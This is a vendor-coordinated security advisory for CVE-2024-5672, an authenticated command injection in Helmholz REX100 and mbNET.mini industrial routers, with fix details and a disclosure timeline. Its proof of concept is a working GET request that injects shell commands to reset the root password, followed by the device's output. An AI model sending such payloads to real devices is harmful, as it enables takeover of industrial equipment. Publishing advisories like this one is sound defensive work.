Helmholz Industrial Router REX100 / MBConnectline mbNET.mini 2.2.11 Command Injection

Credit: S. Dietz
Risk: High
Local: No
Remote: Yes

CyberDanube Security Research 20240703-0 ------------------------------------------------------------------------------- title| Authenticated Command Injection product| Helmholz Industrial Router REX100 | MBConnectline mbNET.mini vulnerable version| <= 2.2.11 fixed version| 2.2.13 CVE number| CVE-2024-5672 impact| High homepage| https://www.helmholz.de/ | https://mbconnectline.com/ found| 2024-05-08 by| S. Dietz (Office Vienna) | CyberDanube Security Research | Vienna | St. Plten | | https://www.cyberdanube.com ------------------------------------------------------------------------------- Vendor description ------------------------------------------------------------------------------- "Helmholz is your specialist when it comes to sophisticated products for your automation projects. With current, clever system solutions from Helmholz, the high demands placed on industrial networks in times of increasing automation can be met both reliably and efficiently - including a high level of operating convenience. The broad product spectrum ranges from a decentralized I/O system to switches and repeaters, gateways, a NAT gateway/firewall and secure IoT remote machine access." Source: https://www.helmholz.de/en/company/about-helmholz/ Vulnerable versions ------------------------------------------------------------------------------- Helmholz Industrial Router REX100 <= 2.2.11 MBConnectline mbNET.mini <= 2.2.11 Vulnerability overview ------------------------------------------------------------------------------- 1) Authenticated Command Injection (CVE-2024-5672) A command injection was identified on the webserver. This vulnerability can only be exploited if a user is authenticated on the web interface. This way, an attacker can invoke commands and is able to get full control over the whole device. Proof of Concept ------------------------------------------------------------------------------- 1) Authenticated Command Injection (CVE-2024-5672) The following GET request changes the password for the root user and returns the process list of the device. ------------------------------------------------------------------------------- GET /cgi-bin/ping;echo$IFS'root:password'|chpasswd;ps;.sh HTTP/1.1 Host: Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Authorization: Basic aGVsbWhvbHo6cm91dGVy Connection: close Upgrade-Insecure-Requests: 1 ------------------------------------------------------------------------------- HTTP/1.0 200 OK This is haserl version 0.8.0 This program runs as a cgi interpeter, not interactively. Bug reports to: Nathan Angelacos <nangel@users.sourceforge.net> Password for 'root' changed PID USER VSZ STAT COMMAND 1 root 2292 S init 2 root 0 SW [kthreadd] 3 root 0 SW [ksoftirqd/0] 4 root 0 SW [events/0] 5 root 0 SW [khelper] 8 root 0 SW [async/mgr] [...] Solution ------------------------------------------------------------------------------- Update to latest version: 2.2.13 Workaround ------------------------------------------------------------------------------- None Recommendation ------------------------------------------------------------------------------- CyberDanube recommends Helmholz customers to upgrade the firmware to the latest version available and to restrict network access to the management interface of the device. Contact Timeline ------------------------------------------------------------------------------- 2024-05-15: Contacting Helmholz via psirt@helmholz.de. 2024-05-15: Receiving security contact for MBConnectline. 2024-05-21: Contact stated they are working on a fix. 2024-06-13: Received advisory from contact and assigned CVE number. 2024-07-01: Contact sends out final release date. 2024-07-03: Coordinated release of advisory with CERT@VDE. Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com EOF S. Dietz / @2024

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